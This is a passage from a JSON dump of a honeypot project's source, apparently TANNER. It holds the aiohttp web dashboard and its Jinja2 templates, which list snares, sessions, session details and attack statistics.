cursor.execute(query):\n                        columns.append(dict(name=row[1], type=row[2]))\n                    query_map[table] = columns\n                except sqlite3.OperationalError as sqlite_error:\n                    self.logger.exception(\"Error during query map creation: %s\", sqlite_error)\n        return query_map\n"
  },
  {
    "path": "tanner/web/__init__.py",
    "content": ""
  },
  {
    "path": "tanner/web/server.py",
    "content": "import asyncio\nimport logging\nimport aiohttp_jinja2\nimport jinja2\n\nfrom aiohttp import web\nfrom tanner.api import api\nfrom tanner import redis_client\nfrom tanner.config import TannerConfig\nfrom tanner import __version__ as tanner_version\n\n\nclass TannerWebServer:\n    def __init__(self):\n        self.logger = logging.getLogger(\"tanner.web.tannerwebserver\")\n        self.api = None\n        self.redis_client = None\n\n    @aiohttp_jinja2.template(\"index.html\")\n    async def handle_index(self, request):\n        snares = await self.api.return_snares()\n        latest_session = await self.api.return_latest_session()\n        count = len(snares)\n        return {\"count\": count, \"l_session\": latest_session, \"version\": tanner_version}\n\n    @aiohttp_jinja2.template(\"snares.html\")\n    async def handle_snares(self, request):\n        snares = await self.api.return_snares()\n        return {\"snares\": snares}\n\n    @aiohttp_jinja2.template(\"snare.html\")\n    async def handle_snare(self, request):\n        snare_uuid = request.match_info[\"snare_uuid\"]\n        return {\"snare\": snare_uuid}\n\n    @aiohttp_jinja2.template(\"snare-stats.html\")\n    async def handle_snare_stats(self, request):\n        snare_uuid = request.match_info[\"snare_uuid\"]\n        snare_stats = await self.api.return_snare_stats(snare_uuid)\n        return {\"snare_stats\": snare_stats}\n\n    @aiohttp_jinja2.template(\"sessions.html\")\n    async def handle_sessions(self, request):\n        snare_uuid = request.match_info[\"snare_uuid\"]\n        page_id = int(request.match_info[\"page_id\"])\n        params = request.url.query\n        applied_filters = {\"snare_uuid\": snare_uuid}\n        try:\n            if \"filters\" in params:\n                for filt in params[\"filters\"].split():\n                    applied_filters[filt.split(\":\")[0]] = filt.split(\":\")[1]\n                if \"start_time\" in applied_filters:\n                    applied_filters[\"start_time\"] = float(applied_filters[\"start_time\"])\n                if \"end_time\" in applied_filters:\n                    applied_filters[\"end_time\"] = float(applied_filters[\"end_time\"])\n        except Exception as e:\n            self.logger.exception(\"Filter error : %s\" % e)\n            result = \"Invalid filter definition\"\n        else:\n            sessions = await self.api.return_sessions(applied_filters)\n            result = sessions[15 * (page_id - 1) : 15 * page_id]\n            next_val = None\n            pre_val = None\n            if page_id * 15 <= len(sessions):\n                next_val = \"/{snare_uuid}/sessions/page/{page_id}\".format(\n                    snare_uuid=snare_uuid, page_id=str(page_id + 1)\n                )\n                if len(applied_filters) > 1:\n                    next_val += \"?filters={filters}\".format(filters=params[\"filters\"])\n            if page_id > 1:\n                pre_val = \"/{snare_uuid}/sessions/page/{page_id}\".format(\n                    snare_uuid=snare_uuid, page_id=str(page_id - 1)\n                )\n                if len(applied_filters) > 1:\n                    pre_val += \"?filters={filters}\".format(filters=params[\"filters\"])\n\n        return {\"sessions\": result, \"next_val\": next_val, \"pre_val\": pre_val}\n\n    @aiohttp_jinja2.template(\"session.html\")\n    async def handle_session_info(self, request):\n        sess_uuid = request.match_info[\"sess_uuid\"]\n        session = await self.api.return_session_info(sess_uuid)\n        return {\"session\": session}\n\n    async def on_shutdown(self, app):\n        await self.redis_client.close()\n\n    def setup_routes(self, app):\n        app.router.add_get(\"/\", self.handle_index)\n        app.router.add_get(\"/snares\", self.handle_snares)\n        app.router.add_resource(\"/snare/{snare_uuid}\").add_route(\"GET\", self.handle_snare)\n        app.router.add_resource(\"/snare-stats/{snare_uuid}\").add_route(\"GET\", self.handle_snare_stats)\n        app.router.add_resource(\"/session/{sess_uuid}\").add_route(\"GET\", self.handle_session_info)\n        app.router.add_resource(\"/{snare_uuid}/sessions/page/{page_id}\").add_route(\"GET\", self.handle_sessions)\n        app.router.add_static(\"/static/\", path=\"tanner/web/static\")\n\n    async def make_app(self):\n        app = web.Application()\n        aiohttp_jinja2.setup(app, loader=jinja2.FileSystemLoader(\"tanner/web/templates\"))\n        app.on_shutdown.append(self.on_shutdown)\n        self.setup_routes(app)\n        return app\n\n    def start(self):\n        loop = asyncio.get_event_loop()\n        self.redis_client = loop.run_until_complete(redis_client.RedisClient.get_redis_client(poolsize=20))\n        self.api = api.Api(self.redis_client)\n\n        host = TannerConfig.get(\"WEB\", \"host\")\n        port = int(TannerConfig.get(\"WEB\", \"port\"))\n        web.run_app(self.make_app(), host=host, port=port)\n"
  },
  {
    "path": "tanner/web/static/css/styles.css",
    "content": "table {\n    border-collapse: collapse;\n    width: 80%;\n}\n\nth, td {\n    padding: 8px;\n    text-align: left;\n    border-bottom: 1px solid #ddd;\n}\n\ntr:hover{\n\tbackground-color:#f5f5f5\n}"
  },
  {
    "path": "tanner/web/static/js/site.js",
    "content": "function findGetParameter(parameterName) {\n  var result = null,\n      tmp = [];\n  location.search\n      .substr(1)\n      .split(\"&\")\n      .forEach(function (item) {\n        tmp = item.split(\"=\");\n        if (tmp[0] === parameterName) result = decodeURIComponent(tmp[1]);\n      });\n  return result;\n}\ndocument.getElementById('filters').value = findGetParameter(\"filters\");"
  },
  {
    "path": "tanner/web/templates/base.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n\t<style>\n\t\t.topright{\n\t\t\tposition: fixed;\n\t\t\tright: 0;\n\t\t\ttop: 1;\n\t\t\twidth: 260px;\n\t\t}\n\t</style>\n\t<div class=\"topright\">\n\t\t\t<a href=\"/\" style=\"text-decoration:none;\" >\n\t\t\t\tHome\n\t\t\t</a>\n\t\t\t|\n\t\t\t<a href=\"http://tanner.readthedocs.io/en/latest/\" style=\"text-decoration:none;\" >\n\t\t\t\tDocs\n\t\t\t</a>\n\t </div>\n</head>\n<head>\n\t<title>{% block title %}{% endblock %} - Tanner Web</title>\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"/static/css/styles.css\">\n</head>\n<body>\n<div id=\"content\">\n\t{% block content%}\n\t{% endblock%}\n</div>\n<div id=\"footer\">\n\t{% block footer%}\n\t{% endblock%}\n</div>\n</body>\n</html>"
  },
  {
    "path": "tanner/web/templates/index.html",
    "content": "{% extends \"base.html\" %}\n{% block title %}Home{% endblock %}\n{% block content %}\n\t<html>\n\t\t<head>\n\t\t\t<style>\n\t\t\t\t.center {\n\t\t\t\t\ttext-align: center;\n\t\t\t\t\tfont-size: 30px;\n\t\t\t\t\tfont-weight: bold;\n\t\t\t\t}\n\t\t\t</style>\n\t\t\t<style>\n\t\t\t\t.img_align {\n\t\t\t\t\tdisplay: block;\n\t\t\t\t\tmargin-left: auto;\n\t\t\t\t\tmargin-right: auto;\n\t\t\t\t\twidth: 50%;\n\t\t\t\t}\n\t\t\t</style>\n\t\t\t<style>\n\t\t\t\ta {\n\t\t\t\t\t font-family: \"Times New Roman\", Times, serif;\n\t\t\t    }\n\t\t\t</style>\n\t\t\t<style>\n\t\t\t\t.align {\n\t\t\t\t\t text-align: center;\n\t\t\t\t\t font-size: 20px;\n\t\t\t    }\n\t\t\t</style>\n\t\t\t<style>\n\t\t\t\t.box {\n\t\t\t\t\tfont-family: \"Comic Sans MS\", sans-serif;\n\t\t\t\t\tfont-size: 15px;\n\t\t\t\t\ttext-indent: 610px;\n\t\t\t    }\n\t\t\t</style>\n\t\t</head>\n\t\t<body>\n\t\t\t<img class=\"img_align\" src=\"/static/logo/mushorg_logo.png\" style=\"width:128px;height:128px;\">\n\t\t\t<div class=\"center\">\n\t\t\t  <p>Tannerweb</p>\n\t\t\t  <br>\n\t\t\t</div>\n\t\t\t<div class=\"box\">\n\t\t\t\t<p>Tanner version - {{version}}</p>\n\t\t\t\t<p>No. of snares connected - {{count}}</p>\n        {% if l_session is not none %}\n          <p>Latest session - <a href=\"/session/{{l_session}}\">{{l_session}}</a></p>\n        {% endif %}\n\t\t\t</div>\n\t\t\t<div class=\"align\">\n\t\t\t\t<br>\n\t\t\t\t<p>\n\t\t\t\t\tClick\n\t\t\t\t<a href=\"/snares\" style=\"text-decoration:none; font-weight: bold\" >\n\t\t\t\t\there\n\t\t\t\t</a>\n\t\t\t\t\tto navigate to the snares list.\n\t\t\t\t</p>\n\t\t\t</div>\n\t\t</body>\n\t</html>\n{% endblock %}\n"
  },
  {
    "path": "tanner/web/templates/session.html",
    "content": "{% extends \"base.html\" %}\n{% block title %}Session({{session.sess_uuid}}){% endblock %}\n{% block content %}\n\n<body>\n<h3 align=\"center\">SESSION INFO</h3>\n<table align=\"center\">\n  <tr>\n    <th style=\"width: 20%\">Key</th>\n    <th>Value</th>\n  </tr>\n  <tr>\n    <td><b>UUID</b></td>\n    <td>{{session.sess_uuid}}</td>\n  </tr>\n  <tr>\n    <td><b>IP</b></td>\n    <td><a href=\"/{{session.snare_uuid}}/sessions/page/1?filters=peer_ip:{{session.peer_ip}}\">{{session.peer_ip}}</a></td>\n  </tr>\n  <tr>\n    <td><b>Location</b></td>\n    <td><a href=\"/{{session.snare_uuid}}/sessions/page/1?filters=location:{{session.location}}\">{{session.location}}</a></td>\n  </tr>\n  <tr>\n    <td><b>Port</b></td>\n    <td>{{session.peer_port}}</td>\n  </tr>\n  <tr>\n    <td><b>User Agents</b></td>\n    <td>{{session.user_agent}}</td>\n  </tr>\n  <tr>\n    <td><b>Snare UUID</b></td>\n    <td>{{session.snare_uuid}}</td>\n  </tr>\n  <tr>\n    <td><b>Start time</b></td>\n    <td><a href=\"/{{session.snare_uuid}}/sessions/page/1?filters=start_time:{{session.start_time}}\">{{session.start_time}}</a></td>\n  </tr>\n  <tr>\n    <td><b>End time</b></td>\n    <td><a href=\"/{{session.snare_uuid}}/sessions/page/1?filters=end_time:{{session.end_time}}\">{{session.end_time}}</a></td>\n  </tr>\n  <tr>\n    <td><b>Requests/sec</b></td>\n    <td>{{session.requests_in_second}}</td>\n  </tr>\n  <tr>\n    <td><b>Time between requests</b></td>\n    <td>{{session.approx_time_between_requests}}</td>\n  </tr>\n  <tr>\n    <td><b>Paths</b></td>\n    <td>{{session.accepted_paths}}</td>\n  </tr>\n  <tr>\n    <td><b>Errors</b></td>\n    <td>{{session.errors}}</td>\n  </tr>\n  <tr>\n    <td><b>Hidden Links</b></td>\n    <td>{{session.hidden_links}}</td>\n  </tr>\n  <tr>\n    <td><b>Attacks</b></td>\n    <td>\n    {% for attack, v in session.attack_count.items() %}\n      <a href=\"/{{session.snare_uuid}}/sessions/page/1?filters=attack_types:{{attack}}\">{{attack}}</a> - {{v}}<br>\n    {% endfor %}\n    </td>\n  </tr>\n  <tr>\n    <td><b>Paths</b></td>\n    <td>\n    {% for path in session.paths %}\n      {{path}} <br>\n    {% endfor %}\n    </td>\n  </tr>\n  <tr>\n    <td><b>Cookies</b></td>\n    <td>\n    {% for key, val in session.cookies.items() %}\n      {{key}} : {{val}} <br>\n    {% endfor %}\n    </td>\n  </tr>\n  <tr>\n    <td><b>Referer</b></td>\n    <td>{{session.referer}}</td>\n  </tr>\n  <tr>\n    <td><b>Possible Owners</b></td>\n    <td>\n    {% for owner, cf in session.possible_owners.items() %}\n      <a href=\"/{{session.snare_uuid}}/sessions/page/1?filters=possible_owners:{{owner}}\">{{owner}} : {{cf}}</a><br>\n    {% endfor %}\n    </td>\n  </tr>\n</table>\n{% endblock %}"
  },
  {
    "path": "tanner/web/templates/sessions.html",
    "content": "{% extends \"base.html\" %}\n{% block title %}Snare Sessions{% endblock %}\n{% block content %}\n<h3 align=\"center\">SNARE-SESSIONS</h3>\n<div align=\"center\">\n  <form>\n  <b>Filters:</b> <input size=\"80\" type=\"text\" name=\"filters\" id=\"filters\">\n  <input type=\"submit\" value=\"Apply\"> <i title=\"E.g - peer_ip:172.25.23.1, possible_owner:attacker\nSee the docs for more filters.\">How?</i>\n  </form>\n</div>\n<table align=\"center\">\n  <tr>\n    <th style=\"width: 20%\">No</th>\n    <th>Session-uuid</th>\n    <th>IP</th>\n    <th>Owner</th>\n  </tr>\n  {% for sess in sessions %}\n  <tr>\n    <td>{{loop.index}}</td>\n    <td><a href=\"/session/{{sess.sess_uuid}}\">{{sess.sess_uuid}}</a></td>\n    <td>{{sess.peer_ip}}</td>\n    <td>{{sess.possible_owners|join(', ')}}</td>\n  </tr>\n  {% endfor %}\n</table>\n<br>\n<div align=\"center\">\n  {% if pre_val %}<a href=\"{{pre_val if pre_val}}\">Previous</a>{% endif %}\n  {% if next_val %}<a href=\"{{next_val}}\">Next</a>{% endif %}\n</div>\n<script src=\"/static/js/site.js\"></script>\n{% endblock %}"
  },
  {
    "path": "tanner/web/templates/snare-stats.html",
    "content": "{% extends \"base.html\" %}\n{% block title %}SNARE-STATS{% endblock %}\n{% block content %}\n<h3 align=\"center\">SNARE-STATS</h3>\n<table align=\"center\">\n  <tr>\n    <th style=\"width: 20%\">Key</th>\n    <th>Value</th>\n  </tr>\n  <tr>\n    <td><b>No of Sessions</b></td>\n    {% if 'total_sessions' in snare_stats %}\n      <td>{{snare_stats.total_sessions}}</td>\n    {% endif %}\n  </tr>\n  <tr>\n    <td><b>Total Duration</b></td>\n    {% if 'total_duration' in snare_stats %}\n      <td>{{snare_stats.total_duration}}</td>\n    {% endif %}\n  </tr>\n  <tr>\n    <td><b>Attack Frequency</b></td>\n    <td>\n      {% if 'attack_frequency' in snare_stats %}\n        {% for key, val in snare_stats.attack_frequency.items() %}\n          {{key}} : {{val}} <br>\n        {% endfor %}\n      {% endif %}\n    </td>\n  </tr>  \n</table>\n{% endblock %}\n"
  },
  {
    "path": "tanner/web/templates/snare.html",
    "content": "{% extends \"base.html\" %}\n{% block title %}Snare({{snare}}){% endblock %}\n{% block content %}\n<h3 align=\"center\">{{snare}}</h3>\n<h4 align=\"center\"><a href=\"/snare-stats/{{snare}}\">Snare-Stats</a></h4>\n<h4 align=\"center\"><a href=\"/{{snare}}/sessions/page/1\">Sessions</a></h4>\n{% endblock %}"
  },
  {
    "path": "tanner/web/templates/snares.html",
    "content": "{% extends \"base.html\" %}\n{% block title %}Snares{% endblock %}\n{% block content %}\n<h3 align=\"center\">SNARE-UUIDS</h3>\n<table align=\"center\">\n  <tr>\n    <th style=\"width: 20%\">No</th>\n    <th>Snare-uuid</th>\n  </tr>\n  {% for snare in snares %}\n  <tr>\n    <td>{{loop.index}}</td>\n    <td><a href=\"/snare/{{snare}}\">{{snare}}</a></td>\n  </tr>\n  {% endfor %}\n</table>\n{% endblock %}"
  }
]